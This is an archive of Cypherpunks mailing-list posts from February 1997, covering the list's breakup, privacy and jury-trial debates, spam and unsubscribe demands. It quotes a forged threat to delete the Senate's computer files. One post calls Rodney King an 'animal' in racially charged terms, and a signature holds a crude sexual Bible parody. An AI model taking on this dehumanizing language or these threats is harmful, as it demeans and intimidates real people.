From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 18 Feb 1997 14:12:22 -0800 (PST)
To: Vin McLellan <tcmay@got.net
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182212.OAA11960@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>(And I always thought the "woman's right to privacy" argument for abortion
>>was flaky. Accepting such an argument, wouldn't infanticide be equally
>>protected by a woman's right to privacy?)
>>
>>--Tim May
>
>	Whoa! This begs a thoughful response, but I don't have time right
>now.  Might it suffice to suggest that a privacy claim -- a demand for
>control over what concerns her, her alone, or (on balance) her more than
>any other -- seems reasonable to extend to both contraception and early
>abortion?  For many of us, by the same logic, and with the same moral
>comfort.
>
[ more discussion of abortion snippped. ]
>	To my mind, any attempt to control what is done to the woman's body
>(by her choice) while the prospective child is but a bit of enhanced
>potential, much much less than a viable child, is an unconstitutional and
>morally-invalid attempt by others (the state, the church, the country club)
>to pre-empt her will, and prescribe or dictate a wholly new value system
>for her.
>
>         Vin McLellan + The Privacy Guild + <vin@shore.net>
>      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548

Let's not start this.

Tim wasn't arguing for or against abortion; he made no comments
about abortion. His comment was that the _argument_ used to "legalize"
abortion was unconvincing to him.

If we are going to discuss privacy, that's fine.
It we are going to discuss abortion, there are better fora.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Tue, 18 Feb 1997 09:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: ##$!@#$#@!$#
Message-ID: <199702181711.JAA07650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



cual es la fecha?

czesc, tak mal na dodjze kajka....



-- 



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 14:36:41 -0800 (PST)
To: Vin McLellan <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182236.OAA12443@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:51 PM -0500 2/18/97, Vin McLellan wrote:
>      Marshall Clow wrote:
>
>>Let's not start this.... <snip>
>
>>If we are going to discuss privacy, that's fine.
>>It we are going to discuss abortion, there are better fora.
>
>          Right, Marshall. I was attempting to respond directly to Tim's
>comment, but I too have no desire to let the end of C'punks be yet another
>sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
>response roll over me;-).

Then why did you begin an abortion debate?

I made no claims one way or another about abortion, but cited the issue as
the main place the "right to privacy" issue has come to the fore. And I
said I found the argument uncompelling. I did not say I was against
abortion, for abortion, or, for that matter, for or against infanticide.

>        (Jeeze! Anyone else feel like these are the Final Days, like when a
>company goes bankrupt, or graduation day or the like??  I hope one of these
>C'punkish alternatives will provide an opportunity for some of the same
>thoughtful and stimulating engagements that toad.com hosted.)

Unsurprisingly, I've gotten some of the messages from folks I often get
when people dislike some post I've made. They go like this:

"Tim, I really like some of your posts. But, Jeez, give it a rest on
foobar! Can't you go back to writing about lahdidah?"

In other words, the reader wishes I would write only about what he or she
is interested in. Well, pay me my consulting rate and I'll do just that.

I've written many thousands of articles over the past 4.5 years...some of
them very long articles, some very short, most of medium length. (I despise
one-line repartee, and I'm glad our list has never fallen into this mode as
so many other lists have.)

I write about what I find interesting. You all know where the Delete key is.

(Of course, a fairly large fraction of my recent posts have been deleted
for you by Sandy, who sends many of my posts to neither the Main list nor
the Flames list. Bet a lot of you didn't know this, did you?)

--Tim May



>       Respect to all, pro-choice and pro-life,
>
>                _Vin


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 18 Feb 1997 14:14:20 -0800 (PST)
To: alexandr@win.tue.nl
Subject: Re: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702182214.OAA12019@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: alexandr@win.tue.nl, cypherpunks@toad.com, home@collegehill.com
Date: Tue Feb 18 13:49:43 1997

I checked with the people at College Hill Internet by forwarding your 
msg to them to which they replied.

**N.B. - College Hill did my page so I know them to be reputable.

Long story short, they worked on a web page for a particular political 
campaign and, during the process of doing the web consulting, they  
briefly set up an e-mail account for them on their server.

Since then, they have been treated to a regular supply of spam from 
various persons who think that is still the Senator's address.  They've 
received threatening spam (about 200 hundred copies of it) which was 
bounced from them back to senders who in this case weren't even the 
senders, etc. etc. etc.

The headers reflect that they've been forged.  Understandably, College 
Hill is concerned that, those people who might not understand the 
headers that well, will conclude College Hill as being the spammers - 
which could damage their reputation.

Hope this answers (at least part of) your question.

Lynne



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 14:12:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182212.OAA11939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:33 AM 2/18/97 -0800, you wrote:

:Let's not start this.
:
:Tim wasn't arguing for or against abortion; he made no comments
:about abortion. His comment was that the _argument_ used to "legalize"
:abortion was unconvincing to him.
:
:If we are going to discuss privacy, that's fine.
:It we are going to discuss abortion, there are better fora.
:
:
:-- Marshall
:
:Warning: Objects in calendar are closer than they appear.

Good for you!!!!!

I appreciate your post. However, it smells like a Daleism.
I revel in fora. (Had to think about that.)
Nice sig too.

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 14:12:12 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: Stop sending me your shit
Message-ID: <199702182212.OAA11949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:38 PM 2/18/97 +0200, you wrote:
:	
:Get me off your list or else ..... . Get me out your fuckin list assholes.

Certainly you learned on your mother's knee that you can get more of what
you want from other people with kindness rather than anger and rudeness.
What did she say about using foul words? Lets think about these things.

You may be in for a long stay here. These folks can be downright nasty
sometimes.

You've got friends here. Let's be nice and keep it that way.

Now what do we say?????? 

Alec 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 14:26:47 -0800 (PST)
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182226.OAA12254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


      Marshall Clow wrote:

>Let's not start this.... <snip>

>If we are going to discuss privacy, that's fine.
>It we are going to discuss abortion, there are better fora.

          Right, Marshall. I was attempting to respond directly to Tim's
comment, but I too have no desire to let the end of C'punks be yet another
sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
response roll over me;-).  

        (Jeeze! Anyone else feel like these are the Final Days, like when a
company goes bankrupt, or graduation day or the like??  I hope one of these
C'punkish alternatives will provide an opportunity for some of the same
thoughtful and stimulating engagements that toad.com hosted.)

       Respect to all, pro-choice and pro-life,

                _Vin







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexandra Janssen - Raemaekers <alexandr@win.tue.nl>
Date: Tue, 18 Feb 1997 07:41:33 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702181541.HAA06068@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I really don't know what this is all about!!!!
This is one of the messages that I seemed to have sent......
I can give you about 

Apparently-To: vice.president@whitehouse.gov, first.lady@whitehouse.gov,
		Bclinton@Washington.DC, feedback@www.whitehouse.gov,
		Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
		sessions@wrldnet.net, senator@shelby.senate.gov,
		senator@bumpers.senate.gov, info@kyl.senate.gov,
		Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
		senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
		senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
		bob_graham@graham.senate.gov, connie@mack.senate.gov,
		senator_coverdell@coverdell.senate.gov, senator@inouye.senate.gov,
		tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
		larry_craig@craig.senate.gov, dirk_kempthorne@kempthorne.senate.gov,
		senator@moseley-braun.senate.gov, lugar@iquest.net,
		wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
		senator@breaux.senate.gov, senator@kennedy.senate.gov,
		john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
		senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
		senator@levin.senate.gov, michigan@abraham.senate.gov,
		mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
		john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
		senator@cochran.senate.gov, max@baucus.senate.gov,
		conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
		jesse_helms@helms.senate.gov, senator@conrad.senate.gov,
		senator@dorgan.senate.gov, email@hagel96.com, bob@kerrey.senate.gov,
		mailbox@gregg.senate.gov, opinion@smith.senate.gov,
		frank_lautenberg@lautenberg.senate.gov, torricel@torricelli.com,
		Senator_Bingaman@bingaman.senate.gov,
		senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
		senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
		senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
		senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
		senator@wyden.senate.gov, senator@santorum.senate.gov,
		senator_specter@specter.senate.gov, senator_chafee@chafee.senate.gov,
		reed@collegehill.com, senator@thurmond.senate.gov,
		senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
		senator_thompson@thompson.senate.gov, senator_frist@frist.senate.gov,
		senator@hutchison.senate.gov, senator@bennett.senate.gov,
		senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
		senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
		 vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
		 Senator_Gorton@gorton.senate.gov, russell_feingold@feingold.senate.gov,
		 senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
		 senator@rockefeller.senate.gov, mike@enzi.senate.gov,
		 craig@thomas.senate.gov


names who got this message from the gang of cypherpunks. What is 
this ????

Forwarded message:
> From home@collegehill.com Tue Feb 18 15:05:24 1997
> Message-Id: <3.0.32.19970218100100.00731388@pop03.ca.us.ibm.net>
> Precedence: bulk
> X-Sender: chill03@pop03.ca.us.ibm.net
> X-Mailer: Windows Eudora Pro Version 3.0 (32)
> Date: Tue, 18 Feb 1997 10:03:05 -0500
> To: alexandr@win.tue.nl
> From: College Hill Internet <home@collegehill.com>
> Subject: Address -- Invalid (was Re: message to USSA Senate)
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> At 12:45 AM 2/18/97 PST, you wrote:
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.
> >
> >

I'm furious! Now I get about 10 messages every 15 minutes of mail delivered
and lots of other trash. Who 's got the courage to admit this crime ?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 17:11:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
Message-ID: <199702190111.RAA14473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 2/18/97 -0500, Alec wrote:
>At 08:38 PM 2/18/97 +0200, you wrote:
>:	
>:Get me off your list or else ..... . Get me out your fuckin list assholes.
>
>Certainly you learned on your mother's knee that you can get more of what
>you want from other people with kindness rather than anger and rudeness.
>What did she say about using foul words? Lets think about these things.
>
>You may be in for a long stay here. These folks can be downright nasty
>sometimes.
>
...
Personally, I just responded to one persons statement, (the one with the
modicum of courtesy) and decided to let this looser languish, (because of
his foul additude).
I think that by this, maybe, he'll learn not to bite the hand of the persons
who he is asking for help from.
It also gives me a none too innocent feeling of graditude to know that this
person will suffer a little longer, all because I decided that I didn't like
him.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 14:13:16 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Stop sending me your shit
Message-ID: <199702182213.OAA11991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	
Get me off your list or else ..... . Get me out your fuckin list assholes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 14:12:03 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Stop sending me your shit
Message-ID: <199702182212.OAA11924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Get me off your list or else ..... . Get me out your fuckin list assholes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: article on "Wired News"
Message-ID: <199702182226.OAA12235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"http://www.wired.com/news/" -- headline: " Monday
	Homeless Cypherpunks Turn to Usenet 
	      The 1,400-strong group splinters into three alt.
		    subgroups and a mailing list - but they have
			  plans for staying united. "


"STAYING united"?  Ha ha ha ha!


That's funny!


Keep in touch, y'all.  :-)


Bryce

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PIONEER146@aol.com
Date: Tue, 18 Feb 1997 20:26:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <199702190426.UAA17302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove from the mailing list, please.  Thank you.  Pioneer146@aol.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Ehling <mehling@ibm.net>
Date: Tue, 18 Feb 1997 21:56:18 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702190556.VAA18680@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 2/14/97 -0800, you wrote:
<snip>
>
>Having been "on" the net for over 15 years -- and with experience
>in both ends of the censorship/moderation problem  (I'm probably
>the only Cypherpunks member to have had a book "banned in Boston"),
>I'm sorry that a handful of sociopaths managed to destroy this
>experiment in anarchy, but I suspect that this was inevitable.
>
>Martin Minow
>minow@apple.com
>

For the FWIW dept:
----------------------------------------------------------------------------
----------
Hmm...yes I agree.  Handful of sociopaths.  Inevitable?  Perhaps.  

On one hand anarchy, on the other control.  Free-wheeling vs. stifling.
Complete free speech vs. censorship.    

Oh, sure.  You can always say that one is more "right" than the other.  But
I believe everyone sees the validity of both sides...whether you agree with
them is another thing. So, we seem stuck between the two. And yet, they say
there is always a third option.  We just need some time to pull away and
see it.  

This "experiment in anarchy" may be coming to an end.  But I like your
choice of words: "experiment."  We've learned a great deal through this
one.  Perhaps next time we'll structure things differently.  Who knows?
Long after the last packet leaves cyhperpunks@toad.com, the spirit, the
ideas and ideals will remain.

Take good care,

Michael Ehling
mehling@ibm.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Tue, 18 Feb 1997 21:57:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: 7.9 cpm long-distance
Message-ID: <199702190557.VAA18720@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Starway Telecommunications Inc. Announces . . .

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anywhere in the US for 7.9 cpm, including your own state! Calls to 
Canada at 9.9! Canada to Canada at 7.9 too! Calling cards - 9.9 cpm! 
It's unbelievable!

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for the mystical "BLACKBOX" technology? We've got the low rates
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Contracts have been signed between a major health related 
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and grossing $100 million in 1996, and each of the top three 
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long-distance rumored to be at 7.9 as well. And cellular service 
will be available in another month. Pagers and many other services 
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Structure Marketing Group
**************************************************************
If you wish to be removed from our future mailings simply
reply with "REMOVE" in the subject and place your email
address in the body. You must do this correctly to be removed.
**************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 09:26:53 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
Message-ID: <199702191726.JAA27106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 15:27:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
Message-ID: <199702192327.PAA01740@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 09:26:44 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702191726.JAA27081@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. may wrote:
> > At 1:22 PM -0600 2/17/97, snow wrote:
> Amendment IV-
> (1791) The right of the people to be secure in their persons, houses, papers,
> and effects, against unreasonable searches and seizures, shall not be violated,
> and no warrants shall issue, but upon probable cause, supported by oath or
> affirmation, and particularly describing the place to be searched, and the
> persons or things to be seized.
> It seems to me that the constitution is written rather simply, at least
> prior to the 14th amendment. Congress Shall Make No Law... where is the
> confusion?

Simple, but....  In a right to jury trial of peers, are the peers
the peers of the defendant or the peers of the victim?  Both the
Rodney King officers and the O.J. cases were perfect examples of
how, when you switch the peer groups, you reverse the decisions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bert-Jaap Koops <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 06:26:14 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <199702191426.GAA24913@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 18:13:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Trial"
Message-ID: <199702200213.SAA04001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:02 PM +0200 2/19/97, Shark wrote:
>Trial

OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
asking what the hell the vote is all about.

Looks like there won't be a trial and we can move directly to the punishment.


--Klaus! von Future Prime



--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 15:43:30 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702192343.PAA02079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:

+Simple, but....  In a right to jury trial of peers, are the peers the
+peers of the defendant or the peers of the victim?  Both the Rodney
+King officers and the O.J. cases were perfect examples of how, when you
+switch the peer groups, you reverse the decisions.

    you trying to be some kind of trouble maker? please remember that 
    *all* the fairweather dogooder liberals have been telling us for 
    years that everyone is equal.  yeah, right!

    therefore, juries are obviously color blind, and not dazzled by 
    attorneys calling up racism.  yeah, right!

    as to Powell, he is/was an animal who should have been put away 
    permanently. 

    Koon was an officer's officer (personal experience) and was in the 
    wrong place at the wrong time, not willing to step in. Koon lost 24 
    years of service without a mark, his pension, and all his benefits 
    with 5 or 6 kids at home --and they had to go into hiding until 
    found by the liberal press again and again who obviously felt the 
    family should be punished as well.  we wont even bother with the 
    issues of double jeopardy when they pull a federal civil rights 
    trial on all of them after the state court cleared everyone except 
    Powell who they hung on.  they had a clear right to try Powell, 
    noone else.

    and the video played for evidence missed the first 90 seconds when a 
    very large animal (Rodney King can be described no other way) came 
    out of the car, dancing the jig, and went after Powell.  by the time 
    the prosecutors, particularly the Feds, were through itimidating the 
    witnesses, nobody told the truth. 

    Rodney King had been busted for public intoxication, controlled 
    substances, and disorder enough times that he was well recognized 
    for what he was  --and easily identified.

    in the spooks, we called Powell's actions "the red mask" --once you 
    start staring the beast in the eye, you are so wired on there is no 
    stopping until your opponent is jello. 'shocktroops' or 
    'Stossentruppen' should never be used in civilian police forces, 
    except possibily on SWAT teams, not an average street cop.

    and why did we have the trial in the first place? simply because the 
    LA Times and KABC decided there was going to be a trial.  I dont 
    know whether to chalk it off to their bleeding heart liberals, or 
    just the usual greed for money to be made on high profile news.
    or is it just more of the usual politically correct beat down of
    the oppressive whiteface?

    it is sometimes difficult to defend the LA Police department when 
    you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
    them are cowboys; Big Ed is now a state senator from the far west 
    Valley, what was horse country when I lived there.  they had a job 
    to do, and LA is a mean place. the city itself is 2/3 poverty, half 
    of that extreme ghetto and barrio problems.

    Big Ed is the man who proposed the fitting ending to airline 
    hijackings, and set up his display in plain sight: in front of
    the American Airlines terminal building 4 at LAX before LAX was 
    double decked.  

    Big Ed parked a 40 ft flat bed trailer out there with a judge's 
    bench at one end and a gallows at the other end with the jury box 
    and dock in between.  yes, sir, justice by the hijackers' peers; 
    take the next 12 citizens coming out the doors.

    perfect and swift justice on someone who has no defense for his 
    actions.

    everything else falls under this short take by a prominent author 
    discussing the problem with jury selection: 

        "The men who murdered Virginia's [Nevada] original twenty-six
    cemetary occupants were never punished.  Why?  Because Alfred the 
    Great, when he invented trial by jury, and knew that he had 
    admirably framed it to secure justice in his age of the world, was 
    not aware that in the nineteenth century the condition of things 
    would be so entirely changed that unless he rose from the grave and
    altered the jury plan to meet the emergency, it would prove the most
    ingenious and infallible agency for defeating justice that
    human wisdom could contrive.  For how could he imagine that we
    simpletons would go on using his jury plan after circumstances had
    stripped it of its usefulness, any more than he could imagine that
    we would go not using his candle clock after we had invented
    chronometers?  In his day news could not travel fast, and hence he
    could easily find a jury of honest, intelligent men who had not
    heard of the case they were called to try - but in our day of
    telegraph and newspapers his plan compels us to swear in juries
    composed of fools and rascals, because the system rigidly excludes
    honest men and men of brains.

    "I remember one of those sorrowful farces, in Virginia, which we 
    call a jury trial.  A noted desperado killed Mr. B, a good citizen, 
    in the most wanton and cold-blooded way.  Of course the papers were 
    full of it, and all men capable of reading read about it.  And of 
    course all men not deaf and dumb and idiotic talked about it.  A jury
    list was made out, and Mr.  B. L., a prominent banker and a valued
    citizen, was questioned precisely as he would have been questioned
    in any court in America:

        "`Have you heard of this homicide?'
        "`Yes.'
        "`Have you held conversations on the subject?'
        "`Yes.'
        "`Have you formed or expressed opinions about it?'
        "`Yes.'
        "`Have you read newspaper accounts of it?'
        "`Yes.'
        "`We do not want you.'

        "A minister, intelligent, esteemed, and greatly respected; a 
    merchant of high character and known probity; a mining 
    superintendent of intelligence and unblemished reputation; a 
    quartz-mill owner of excellent standing, were all questioned in 
    the same way, and all set aside.  Each said the public talk and the
    newspaper reports had not so biased his mind but that sworn
    testimony would overthrow his previously formed opinions and enable
    him to render a verdict without prejudice and in accordance with
    the facts.  But of course such men could not be trusted with the
    case.  Ignoramuses alone could mete out unsullied justice.

        "When the peremptory challenges were all exhausted, a jury of 
    twelve men was empaneled - a jury who swore they had neither heard,
    read, talked about, nor expressed an opinion concerning a murder
    which the very cattle in the corrals, the Indians in the sagebrush,
    and the stones in the streets were cognizant of!  It was a jury
    composed of two desperadoes, two low beerhouse politicians, three
    barkeepers, two ranchers who could not read, and three dull, stupid,
    human donkeys!  It actually came out afterward that one of these
    latter thought that incest and arson were the same thing.  "The
    verdict rendered by this jury was, Not Guilty.  What else could one
    expect?  "The jury system puts a ban upon intelligence and honesty,
    and a premium upon ignorance, stupidity, and perjury.  It is a shame
    that we must continue to use a worthless system because it was good
    a thousand years ago.  

        In this age, when a gentleman of high social standing,
    intelligence, and probity swears that the testimony given under
    solemn oath will outweigh, with him, street talk and newspaper
    reports based on mere hearsay, he is worth a hundred jurymen who
    will swear to their own ignorance and stupidity, and justice would
    be far safer in his hands than theirs.  Why could not the jury law
    be so altered as to give men of brains and honesty an equal chance
    with fools and miscreants?  Is it right to show the present
    favoritism to one class of men and inflict a disability on another,
    in a land whose boast is that all its citizens are free and equal?

        I am a candidate for the legislature.  I desire to tamper with 
    the jury law.  I wish to so alter it as to put a premium on
    intelligence and character, and close the jury box against idiots,
    blacklegs, and people who do not read newspapers.  But no doubt I
    shall be defeated - every effort I make to save the country `misses
    fire.'"
            --From "Roughing It" by Mark Twain, Chapter XLVIII.

 _____________________________________________________________________
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shark <shark@turk.net>
Date: Wed, 19 Feb 1997 15:11:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702192311.PAA01536@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Trial





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 06:56:27 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201456.GAA14485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:
> +Simple, but....  In a right to jury trial of peers, are the peers the
> +peers of the defendant or the peers of the victim?  Both the Rodney
> +King officers and the O.J. cases were perfect examples of how, when you
> +switch the peer groups, you reverse the decisions.

>     you trying to be some kind of trouble maker? please remember that
>     *all* the fairweather dogooder liberals have been telling us for
>     years that everyone is equal.  yeah, right!
>     therefore, juries are obviously color blind, and not dazzled by
>     attorneys calling up racism.  yeah, right!

It just makes me a little nervous to see jurors getting so personally
